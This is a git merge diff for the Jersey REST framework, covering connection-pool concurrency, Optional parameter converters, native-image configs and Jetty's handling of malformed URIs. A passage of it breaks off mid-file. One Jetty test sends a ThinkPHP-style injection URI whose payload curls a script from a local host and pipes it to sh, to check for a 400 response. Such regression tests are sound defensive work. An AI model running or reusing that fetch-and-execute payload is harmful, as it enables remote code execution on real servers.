Merge pull request #4830 from senivam/3x_merged
merge of master into 3.x
diff --git a/.gitignore b/.gitignore
index 27753e1..9d011f0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,7 @@
# maven noise
target/
target-*/
-target11/
+target*/
# gradle noise
.gradle
diff --git a/connectors/jdk-connector/src/main/java/org/glassfish/jersey/jdk/connector/internal/DestinationConnectionPool.java b/connectors/jdk-connector/src/main/java/org/glassfish/jersey/jdk/connector/internal/DestinationConnectionPool.java
index 2ef9b9c..976f7b4 100644
--- a/connectors/jdk-connector/src/main/java/org/glassfish/jersey/jdk/connector/internal/DestinationConnectionPool.java
+++ b/connectors/jdk-connector/src/main/java/org/glassfish/jersey/jdk/connector/internal/DestinationConnectionPool.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,6 @@
import java.net.CookieManager;
import java.net.URI;
import java.util.Collections;
-import java.util.HashMap;
import java.util.Map;
import java.util.Queue;
import java.util.Set;
@@ -37,7 +36,7 @@
private final Queue<HttpConnection> idleConnections = new ConcurrentLinkedDeque<>();
private final Set<HttpConnection> connections = Collections.newSetFromMap(new ConcurrentHashMap<>());
private final Queue<RequestRecord> pendingRequests = new ConcurrentLinkedDeque<>();
- private final Map<HttpConnection, RequestRecord> requestsInProgress = new HashMap<>();
+ private final Map<HttpConnection, RequestRecord> requestsInProgress = new ConcurrentHashMap<>();
private final CookieManager cookieManager;
private final ScheduledExecutorService scheduler;
private final ConnectionStateListener connectionStateListener;
@@ -195,12 +194,11 @@
throw new IllegalStateException("Illegal state transition, old state: " + oldState + " new state: " + newState);
}
- private synchronized void removeAllPendingWithError(Throwable t) {
- for (RequestRecord requestRecord : pendingRequests) {
+ private void removeAllPendingWithError(Throwable t) {
+ RequestRecord requestRecord = null;
+ while ((requestRecord = pendingRequests.poll()) != null) {
requestRecord.completionHandler.failed(t);
}
-
- pendingRequests.clear();
}
private class ConnectionStateListener implements HttpConnection.StateChangeListener {
diff --git a/connectors/jdk-connector/src/test/java/org/glassfish/jersey/jdk/connector/internal/StressTest.java b/connectors/jdk-connector/src/test/java/org/glassfish/jersey/jdk/connector/internal/StressTest.java
new file mode 100644
index 0000000..fa8414b
--- /dev/null
+++ b/connectors/jdk-connector/src/test/java/org/glassfish/jersey/jdk/connector/internal/StressTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdk.connector.internal;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.junit.Test;
+
+public class StressTest extends JerseyTest {
+
+ private static final int PARALLELISM = 50;
+ private static final int ITERATIONS = 1000;
+
+ @Path("/test")
+ public static class TestResource {
+
+ @GET
+ public String test() {
+ return "test";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ enable(TestProperties.LOG_TRAFFIC);
+ enable(TestProperties.DUMP_ENTITY);
+ return new ResourceConfig(TestResource.class);
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JdkConnectorProvider());
+ }
+
+ @Test
+ public void randomnessStatus200() throws InterruptedException, ExecutionException {
+ ExecutorService executor = Executors.newFixedThreadPool(PARALLELISM,
+ new ThreadFactoryBuilder().setNameFormat("client-%d").build());
+ for (int i = 0; i < ITERATIONS; i++) {
+ System.out.println("Iteration " + i);
+ List<Future<Response>> responses = new ArrayList<>();
+ for (int j = 0; j < 100; j++) {
+ Future<Response> future = executor.submit(() -> target("/test").request().get());
+ responses.add(future);
+ }
+ for (Future<Response> response : responses) {
+ assertEquals(200, response.get().getStatus());
+ }
+ }
+ executor.shutdown();
+ assertTrue(executor.awaitTermination(10, TimeUnit.SECONDS));
+ }
+}
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/native-image/org.glassfish.jersey.containers/jersey-container-grizzly2-http/reflect-config.json b/containers/grizzly2-http/src/main/resources/META-INF/native-image/org.glassfish.jersey.containers/jersey-container-grizzly2-http/reflect-config.json
new file mode 100644
index 0000000..6ababc4
--- /dev/null
+++ b/containers/grizzly2-http/src/main/resources/META-INF/native-image/org.glassfish.jersey.containers/jersey-container-grizzly2-http/reflect-config.json
@@ -0,0 +1,39 @@
+[
+{
+ "name":"org.glassfish.grizzly.Buffer[]"
+},
+{
+"name":"org.glassfish.grizzly.ConnectionProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.IOEventLifeCycleListener[]"
+},
+{
+"name":"org.glassfish.grizzly.TransportProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.http.HttpProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.http.TransferEncoding[]"
+},
+{
+"name":"org.glassfish.grizzly.http.server.HttpServerProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.http.server.TagLocaleParser",
+"methods":[{"name":"<init>","parameterTypes":[] }]
+},
+{
+"name":"org.glassfish.grizzly.http.server.filecache.FileCacheProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.memory.MemoryProbe[]"
+},
+{
+"name":"org.glassfish.grizzly.threadpool.ThreadPoolProbe[]"
+},
+{
+"name":"org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpContainerProvider"
+}
+]
\ No newline at end of file
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index 33f97ba..f596934 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -57,6 +57,11 @@
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
</dependency>
+ <dependency>
+ <groupId>org.apache.httpcomponents</groupId>
+ <artifactId>httpclient</artifactId>
+ <scope>test</scope>
+ </dependency>
</dependencies>
<build>
@@ -76,7 +81,6 @@
<artifactId>maven-bundle-plugin</artifactId>
<inherited>true</inherited>
</plugin>
-
</plugins>
<resources>
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
index cd4aa9e..26ccd92 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -36,6 +36,7 @@
import jakarta.servlet.AsyncListener;
import jakarta.ws.rs.core.Application;
import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.Response.Status;
import jakarta.ws.rs.core.SecurityContext;
import jakarta.inject.Inject;
@@ -82,6 +83,7 @@
private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
/**
* Cached value of configuration property
@@ -145,9 +147,9 @@
final Response response = request.getResponse();
final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
- final URI baseUri = getBaseUri(request);
- final URI requestUri = getRequestUri(request, baseUri);
try {
+ final URI baseUri = getBaseUri(request);
+ final URI requestUri = getRequestUri(request, baseUri);
final ContainerRequest requestContext = new ContainerRequest(
baseUri,
requestUri,
@@ -171,25 +173,34 @@
// Mark the request as handled before generating the body of the response
request.setHandled(true);
appHandler.handle(requestContext);
+ } catch (URISyntaxException e) {
+ setResponseForInvalidUri(response, e);
} catch (final Exception ex) {
throw new RuntimeException(ex);
}
-
}
- private URI getRequestUri(final Request request, final URI baseUri) {
- try {
- final String serverAddress = getServerAddress(baseUri);
- String uri = request.getRequestURI();
+ private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+ final String serverAddress = getServerAddress(baseUri);
+ String uri = request.getRequestURI();
- final String queryString = request.getQueryString();
- if (queryString != null) {
- uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
- }
+ final String queryString = request.getQueryString();
+ if (queryString != null) {
+ uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+ }
- return new URI(serverAddress + uri);
- } catch (URISyntaxException ex) {
- throw new IllegalArgumentException(ex);
+ return new URI(serverAddress + uri);
+ }
+
+ private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
+ LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+ if (configSetStatusOverSendError) {
+ response.reset();
+ //noinspection deprecation
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+ } else {
+ response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
}
}
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index 2b92ab8..bfe462c 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,11 @@
package org.glassfish.jersey.jetty;
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
import org.junit.Test;
import jakarta.ws.rs.GET;
@@ -28,6 +33,7 @@
import jakarta.ws.rs.core.Response;
import java.io.IOException;
+import java.net.URI;
import static org.junit.Assert.assertEquals;
@@ -45,6 +51,21 @@
}
@Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
public void test400StatusCode() throws IOException {
startServer(ExceptionResource.class);
Client client = ClientBuilder.newClient();
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
index 67e6d4e..10f2387 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlConnector.java
@@ -22,6 +22,7 @@
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.ProtocolException;
+import java.net.SocketTimeoutException;
import java.net.URI;
import java.net.URISyntaxException;
import java.security.AccessController;
@@ -541,7 +542,11 @@
if (connectorExtension.handleException(request, uc, ex)) {
return null;
}
- if (uc.getResponseCode() == -1) {
+ /*
+ * uc.getResponseCode triggers another request. If we already know it is a SocketTimeoutException
+ * we can throw the exception directly. Otherwise the request will be 2 * timeout.
+ */
+ if (ex instanceof SocketTimeoutException || uc.getResponseCode() == -1) {
throw ex;
} else {
return ex;
diff --git a/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/reflect-config.json b/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/reflect-config.json
new file mode 100644
index 0000000..c7b829e
--- /dev/null
+++ b/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/reflect-config.json
@@ -0,0 +1,16 @@
+[
+ {
+ "name":"org.glassfish.jersey.client.ChunkedInputReader",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.client.ClientAsyncExecutor",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.client.ClientBackgroundScheduler",
+ "allDeclaredMethods":true
+ }
+]
\ No newline at end of file
diff --git a/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/resource-config.json b/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/resource-config.json
new file mode 100644
index 0000000..dc69ab0
--- /dev/null
+++ b/core-client/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-client/resource-config.json
@@ -0,0 +1,5 @@
+{
+ "bundles":[
+ {"name":"org.glassfish.jersey.client.internal.localization"}
+ ]
+}
\ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
index 10e3e45..36fc610 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -110,6 +110,17 @@
boolean isRegistrable(Class<?> clazz);
/**
+ * Creates an object with the given class.
+ * <p>
+ * The object created is not managed by the injection manager.
+ *
+ * @param createMe The non-null class to create this object from;
+ * @return An instance of the object that has been created.
+ * @since 2.35
+ */
+ <T> T create(Class<T> createMe);
+
+ /**
* Creates, injects and post-constructs an object with the given class. This is equivalent to calling the
* {@code create-class} method followed by the {@code inject-class} method followed by the {@code post-construct} method.
* <p>
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
index ab9eae5..f10976a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
@@ -31,8 +31,8 @@
@Override
public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
- InstanceBinding<ParamConverters.AggregatedProvider> aggregatedConverters =
- Bindings.service(new ParamConverters.AggregatedProvider())
+ final ClassBinding<ParamConverters.AggregatedProvider> aggregatedConverters =
+ Bindings.service(ParamConverters.AggregatedProvider.class)
.to(ParamConverterProvider.class);
injectionManager.register(aggregatedConverters);
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
index 1114957..6a234e5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
@@ -26,7 +26,11 @@
import java.security.AccessController;
import java.text.ParseException;
import java.util.Date;
+import java.util.List;
import java.util.Optional;
+import java.util.OptionalDouble;
+import java.util.OptionalInt;
+import java.util.OptionalLong;
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.WebApplicationException;
@@ -38,6 +42,7 @@
import org.glassfish.jersey.internal.LocalizationMessages;
import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.internal.util.collection.ClassTypePair;
import org.glassfish.jersey.message.internal.HttpDateFormat;
/**
@@ -252,17 +257,16 @@
/**
* Provider of {@link ParamConverter param converter} that produce the Optional instance
- * by invoking {@link AggregatedProvider}.
+ * by invoking {@link ParamConverterProvider}.
*/
@Singleton
- public static class OptionalProvider implements ParamConverterProvider {
+ public static class OptionalCustomProvider implements ParamConverterProvider {
// Delegates to this provider when the type of Optional is extracted.
- private final AggregatedProvider aggregated;
+ private final InjectionManager manager;
- @Inject
- public OptionalProvider(AggregatedProvider aggregated) {
- this.aggregated = aggregated;
+ public OptionalCustomProvider(InjectionManager manager) {
+ this.manager = manager;
}
@Override
@@ -274,18 +278,20 @@
if (value == null) {
return (T) Optional.empty();
} else {
- ParameterizedType parametrized = (ParameterizedType) genericType;
- Type type = parametrized.getActualTypeArguments()[0];
- T val = aggregated.getConverter((Class<T>) type, type, annotations).fromString(value.toString());
- if (val != null) {
- return (T) Optional.of(val);
- } else {
- /*
- * In this case we don't send Optional.empty() because 'value' is not null.
- * But we return null because the provider didn't find how to parse it.
- */
- return null;
+ final List<ClassTypePair> ctps = ReflectionHelper.getTypeArgumentAndClass(genericType);
+ final ClassTypePair ctp = (ctps.size() == 1) ? ctps.get(0) : null;
+
+ for (ParamConverterProvider provider : Providers.getProviders(manager, ParamConverterProvider.class)) {
+ final ParamConverter<?> converter = provider.getConverter(ctp.rawClass(), ctp.type(), annotations);
+ if (converter != null) {
+ return (T) Optional.of(value).map(s -> converter.fromString(value));
+ }
}
+ /*
+ * In this case we don't send Optional.empty() because 'value' is not null.
+ * But we return null because the provider didn't find how to parse it.
+ */
+ return null;
}
}
@@ -304,6 +310,91 @@
}
/**
+ * Provider of {@link ParamConverter param converter} that produce the OptionalInt, OptionalDouble
+ * or OptionalLong instance.
+ */
+ @Singleton
+ public static class OptionalProvider implements ParamConverterProvider {
+
+ @Override
+ public <T> ParamConverter<T> getConverter(Class<T> rawType, Type genericType, Annotation[] annotations) {
+ final Optionals optionals = Optionals.getOptional(rawType);
+ return (optionals == null) ? null : new ParamConverter<T>() {
+
+ @Override
+ public T fromString(String value) {
+ if (value == null) {
+ return (T) optionals.empty();
+ } else {
+ return (T) optionals.of(value);
+ }
+ }
+
+ @Override
+ public String toString(T value) throws IllegalArgumentException {
+ /*
+ * Unfortunately 'orElse' cannot be stored in an Optional. As only one value can
+ * be stored, it makes no sense that 'value' is Optional. It can just be the value.
+ * We don't fail here but we don't process it.
+ */
+ return null;
+ }
+ };
+ }
+
+ private static enum Optionals {
+
+ OPTIONAL_INT(OptionalInt.class) {
+ @Override
+ Object empty() {
+ return OptionalInt.empty();
+ }
+ @Override
+ Object of(Object value) {
+ return OptionalInt.of(Integer.parseInt((String) value));
+ }
+ }, OPTIONAL_DOUBLE(OptionalDouble.class) {
+ @Override
+ Object empty() {
+ return OptionalDouble.empty();
+ }
+ @Override
+ Object of(Object value) {
+ return OptionalDouble.of(Double.parseDouble((String) value));
+ }
+ }, OPTIONAL_LONG(OptionalLong.class) {
+ @Override
+ Object empty() {
+ return OptionalLong.empty();
+ }
+ @Override
+ Object of(Object value) {
+ return OptionalLong.of(Long.parseLong((String) value));
+ }
+ };
+
+ private final Class<?> clazz;
+
+ private Optionals(Class<?> clazz) {
+ this.clazz = clazz;
+ }
+
+ private static Optionals getOptional(Class<?> clazz) {
+ for (Optionals optionals : Optionals.values()) {
+ if (optionals.clazz == clazz) {
+ return optionals;
+ }
+ }
+ return null;
+ }
+
+ abstract Object empty();
+
+ abstract Object of(Object value);
+ }
+ }
+
+ /**
* Aggregated {@link ParamConverterProvider param converter provider}.
*/
@Singleton
@@ -314,8 +405,9 @@
/**
* Create new aggregated {@link ParamConverterProvider param converter provider}.
*/
- public AggregatedProvider() {
- providers = new ParamConverterProvider[] {
+ @Inject
+ public AggregatedProvider(InjectionManager manager) {
+ this.providers = new ParamConverterProvider[] {
// ordering is important (e.g. Date provider must be executed before String Constructor
// as Date has a deprecated String constructor
new DateProvider(),
@@ -324,7 +416,8 @@
new CharacterProvider(),
new TypeFromString(),
new StringConstructor(),
- new OptionalProvider(this)
+ new OptionalCustomProvider(manager),
+ new OptionalProvider()
};
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
index 0fc86a1..8064f66 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HeaderUtils.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -303,28 +303,19 @@
/**
* Compare two NewCookies having the same name. See documentation RFC.
*
- * @param first NewCookie to be compared.
- * @param second NewCookie to be compared.
+ * @param first NewCookie to be compared.
+ * @param second NewCookie to be compared.
* @return the preferred NewCookie according to rules :
* - the latest maxAge.
- * - if equal, compare the expiry date
- * - if equal, compare name length
+ * - if equal, compare the expiry date.
+ * - if equal, compare path length.
*/
public static NewCookie getPreferredCookie(NewCookie first, NewCookie second) {
-
- if (first == null) {
- return second;
- } else if (second == null) {
- return first;
- }
-
- if (first.getMaxAge() != second.getMaxAge()){
- return Comparator.comparing(NewCookie::getMaxAge).compare(first, second) > 0 ? first : second;
- } else if (first.getExpiry() != null && second.getExpiry() != null && !first.getExpiry().equals(second.getExpiry())) {
- return Comparator.comparing(NewCookie::getExpiry).compare(first, second) > 0 ? first : second;
- } else {
- return first.getPath().length() > second.getPath().length() ? first : second;
- }
+ return Comparator.nullsFirst(
+ Comparator.comparingInt(NewCookie::getMaxAge)
+ .thenComparing(NewCookie::getExpiry, Comparator.nullsLast(Comparator.naturalOrder()))
+ .thenComparing(NewCookie::getPath, Comparator.nullsLast(Comparator.comparing(String::length))))
+ .compare(first, second) > 0 ? first : second;
}
/**
diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
new file mode 100644
index 0000000..9ea23c8
--- /dev/null
+++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
@@ -0,0 +1,153 @@
+[
+ {
+ "name":"org.glassfish.jersey.internal.config.ExternalPropertiesAutoDiscoverable",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.internal.inject.Custom",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.internal.ServiceFinder",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.logging.LoggingFeatureAutoDiscoverable",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.AbstractFormProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.BasicTypesMessageProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.ByteArrayProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.DataSourceProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.EnumMessageProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allPublicMethods":true,
+ "allDeclaredConstructors":true,
+ "allPublicConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.FileProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.FormMultivaluedMapProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.FormProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.InputStreamProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.ReaderProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.RenderedImageProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.SourceProvider$DomSourceReader",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.SourceProvider$SaxSourceReader",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.SourceProvider$SourceWriter",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.SourceProvider$StreamSourceReader",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.StreamingOutputProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.message.internal.StringMessageProvider",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.process.Inflector",
+ "methods":[{"name":"apply","parameterTypes":["java.lang.Object"] }]
+ },
+ {
+ "name":"org.glassfish.jersey.process.internal.RequestScope",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.spi.AbstractThreadPoolProvider",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.spi.ScheduledThreadPoolExecutorProvider",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.spi.ThreadPoolExecutorProvider",
+ "allDeclaredMethods":true
+ }
+]
\ No newline at end of file
diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/resource-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/resource-config.json
new file mode 100644
index 0000000..462f993
--- /dev/null
+++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/resource-config.json
@@ -0,0 +1,5 @@
+{
+ "bundles": [
+ {"name": "org.glassfish.jersey.internal.localization"}
+ ]
+}
\ No newline at end of file
diff --git a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json
new file mode 100644
index 0000000..f013c36
--- /dev/null
+++ b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json
@@ -0,0 +1,91 @@
+[
+ {
+ "name":"org.glassfish.jersey.server.BackgroundScheduler",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.ChunkedResponseWriter",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.ManagedAsyncExecutor",
+ "allDeclaredMethods":true
+ },
+ {
+ "name":"org.glassfish.jersey.server.ResourceConfig",
+ "allDeclaredMethods":true
+ },
+ {
